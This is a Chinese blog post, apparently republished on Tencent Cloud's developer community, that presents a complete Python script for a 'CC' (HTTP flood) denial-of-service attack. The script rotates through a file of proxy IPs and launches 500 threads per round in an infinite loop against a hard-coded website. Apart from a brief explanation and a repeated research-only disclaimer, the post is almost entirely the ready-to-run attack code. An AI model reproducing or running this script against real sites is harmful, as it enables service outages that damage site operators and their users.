前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >python 模拟cc攻击实现过程(请不要做任何违法的事)

python 模拟cc攻击实现过程(请不要做任何违法的事)

作者头像
kirin
发布2020-05-27 10:00:11
3.4K0
发布2020-05-27 10:00:11
举报
文章被收录于专栏:Kirin博客
代码语言:javascript
复制
这只是最简单的一种方案,原理很简单,就是利用多线程,和大量的代理ip,
不断的对一个网站发起请求,达到耗尽服务器端资源,来达到拒绝访问的目的。
要有效果,前提是你的代理ip都是能用的,这将直接影响到效率。
声明:仅仅作为研究和学习使用,请不要用此脚本恶意攻击别人。


import requests
import threading
from queue import Queue
import random
q=Queue()


class Cc:
    def get_text(self):
        iplist=[]
        with open('./tt/ip.txt','r',encoding='utf-8')as f:
            a=f.readlines()
        for x in a:
            iplist.append(x.strip('\n'))
        return iplist

    def start(self,url):
        iplist = self.get_text()
        ip = random.choice(iplist)
        headers = {
            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3751.400',
        }
        t={
            'http':ip
        }
        try:
            get=requests.get(url=url,headers=headers,proxies=t)
            print('完成')
        except Exception as e:
            print('失败')

    def go(self,url):
        for x in range(500):
            th=threading.Thread(target=self.start,args=(url,))
            th.start()
        th.join()

if __name__ == '__main__':
    c = Cc()
    while True:
        c.go('http://666cc.cn/')

声明:仅仅作为研究和学习使用,请不要用此脚本恶意攻击别人。
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020/05/26 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档